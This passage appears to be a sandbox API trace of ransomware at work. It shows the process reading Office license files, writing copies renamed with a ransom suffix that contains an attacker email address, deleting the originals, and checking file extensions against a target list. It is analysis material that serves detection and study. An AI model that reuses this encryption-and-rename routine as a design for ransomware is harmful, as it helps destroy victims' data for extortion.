returned 83 [0203.013] lstrlenW (lpString=".zip") returned 4 [0203.013] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.014] lstrlenW (lpString=".rar") returned 4 [0203.014] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.014] lstrlenW (lpString=".bz2") returned 4 [0203.014] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.014] lstrlenW (lpString=".7z") returned 3 [0203.014] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.014] lstrlenW (lpString=".dbf") returned 4 [0203.014] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.014] lstrlenW (lpString=".1cd") returned 4 [0203.014] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0203.014] lstrlenW (lpString=".jpg") returned 4 [0203.014] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.014] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.014] lstrlenW (lpString="O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 36 [0203.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0203.015] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11630) returned 1 [0203.015] CloseHandle (hObject=0x554) returned 1 [0203.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 0x220 [0203.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0203.016] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.016] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0203.017] GetLastError () returned 0x0 [0203.017] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0203.022] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0203.023] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.023] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11c, lpOverlapped=0x0) returned 1 [0203.023] SetEndOfFile (hFile=0x4d4) returned 1 [0203.023] CloseHandle (hObject=0x4d4) returned 1 [0203.023] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.023] SetEndOfFile (hFile=0x554) returned 1 [0203.026] CloseHandle (hObject=0x554) returned 1 [0203.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 1 [0203.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.027] lstrlenW (lpString=".doc") returned 4 [0203.027] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.027] lstrlenW (lpString=".docx") returned 5 [0203.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.027] lstrlenW (lpString=".pdf") returned 4 [0203.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.027] lstrlenW (lpString=".xls") returned 4 [0203.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString=".xlsx") returned 5 [0203.028] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.028] lstrlenW (lpString=".ppt") returned 4 [0203.028] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.028] lstrlenW (lpString=".zip") returned 4 [0203.028] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString=".rar") returned 4 [0203.028] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString=".bz2") returned 4 [0203.028] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString=".7z") returned 3 [0203.028] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.028] lstrlenW (lpString=".dbf") returned 4 [0203.028] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.028] lstrlenW (lpString=".1cd") returned 4 [0203.028] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.028] lstrlenW (lpString=".jpg") returned 4 [0203.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.028] lstrlenW (lpString=".doc") returned 4 [0203.028] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString=".docx") returned 5 [0203.028] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.028] lstrlenW (lpString=".pdf") returned 4 [0203.028] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.028] lstrlenW (lpString=".xls") returned 4 [0203.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.029] lstrlenW (lpString=".xlsx") returned 5 [0203.029] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.029] lstrlenW (lpString=".ppt") returned 4 [0203.029] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.029] lstrlenW (lpString=".zip") returned 4 [0203.029] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.029] lstrlenW (lpString=".rar") returned 4 [0203.029] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.029] lstrlenW (lpString=".bz2") returned 4 [0203.029] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.029] lstrlenW (lpString=".7z") returned 3 [0203.029] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.029] lstrlenW (lpString=".dbf") returned 4 [0203.029] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.029] lstrlenW (lpString=".1cd") returned 4 [0203.029] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0203.029] lstrlenW (lpString=".jpg") returned 4 [0203.029] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.029] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.029] lstrlenW (lpString="O365HomePremR_SubTest5-pl.xrm-ms") returned 32 [0203.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0203.030] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11179) returned 1 [0203.030] CloseHandle (hObject=0x554) returned 1 [0203.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 0x220 [0203.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0203.031] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.031] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0203.032] GetLastError () returned 0x0 [0203.032] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bab, lpOverlapped=0x0) returned 1 [0203.309] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0203.310] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.310] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x114, lpOverlapped=0x0) returned 1 [0203.311] SetEndOfFile (hFile=0x4d4) returned 1 [0203.311] CloseHandle (hObject=0x4d4) returned 1 [0203.311] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.311] SetEndOfFile (hFile=0x554) returned 1 [0203.314] CloseHandle (hObject=0x554) returned 1 [0203.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 1 [0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.771] lstrlenW (lpString=".doc") returned 4 [0203.771] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString=".docx") returned 5 [0203.771] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.771] lstrlenW (lpString=".pdf") returned 4 [0203.771] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString=".xls") returned 4 [0203.771] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString=".xlsx") returned 5 [0203.771] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.771] lstrlenW (lpString=".ppt") returned 4 [0203.771] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.771] lstrlenW (lpString=".zip") returned 4 [0203.771] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString=".rar") returned 4 [0203.771] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString=".bz2") returned 4 [0203.771] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString=".7z") returned 3 [0203.771] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.771] lstrlenW (lpString=".dbf") returned 4 [0203.771] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.771] lstrlenW (lpString=".1cd") returned 4 [0203.771] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.771] lstrlenW (lpString=".jpg") returned 4 [0203.771] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.772] lstrlenW (lpString=".doc") returned 4 [0203.772] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString=".docx") returned 5 [0203.772] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.772] lstrlenW (lpString=".pdf") returned 4 [0203.772] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString=".xls") returned 4 [0203.772] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString=".xlsx") returned 5 [0203.772] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.772] lstrlenW (lpString=".ppt") returned 4 [0203.772] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.772] lstrlenW (lpString=".zip") returned 4 [0203.772] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString=".rar") returned 4 [0203.772] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString=".bz2") returned 4 [0203.772] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString=".7z") returned 3 [0203.772] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.772] lstrlenW (lpString=".dbf") returned 4 [0203.772] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.772] lstrlenW (lpString=".1cd") returned 4 [0203.772] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0203.772] lstrlenW (lpString=".jpg") returned 4 [0203.772] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.773] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.773] lstrlenW (lpString="O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 37 [0203.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.773] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11635) returned 1 [0203.774] CloseHandle (hObject=0x550) returned 1 [0203.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0203.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.774] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.774] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0203.775] GetLastError () returned 0x0 [0203.775] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d73, lpOverlapped=0x0) returned 1 [0203.777] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d80, lpOverlapped=0x0) returned 1 [0203.778] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.779] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11e, lpOverlapped=0x0) returned 1 [0203.779] SetEndOfFile (hFile=0x3f8) returned 1 [0203.779] CloseHandle (hObject=0x3f8) returned 1 [0203.779] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.779] SetEndOfFile (hFile=0x550) returned 1 [0203.781] CloseHandle (hObject=0x550) returned 1 [0203.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 1 [0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.783] lstrlenW (lpString=".doc") returned 4 [0203.783] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString=".docx") returned 5 [0203.783] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.783] lstrlenW (lpString=".pdf") returned 4 [0203.783] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString=".xls") returned 4 [0203.783] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString=".xlsx") returned 5 [0203.783] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.783] lstrlenW (lpString=".ppt") returned 4 [0203.783] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.783] lstrlenW (lpString=".zip") returned 4 [0203.783] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString=".rar") returned 4 [0203.783] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString=".bz2") returned 4 [0203.783] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString=".7z") returned 3 [0203.783] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.783] lstrlenW (lpString=".dbf") returned 4 [0203.783] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.783] lstrlenW (lpString=".1cd") returned 4 [0203.783] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.783] lstrlenW (lpString=".jpg") returned 4 [0203.783] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.784] lstrlenW (lpString=".doc") returned 4 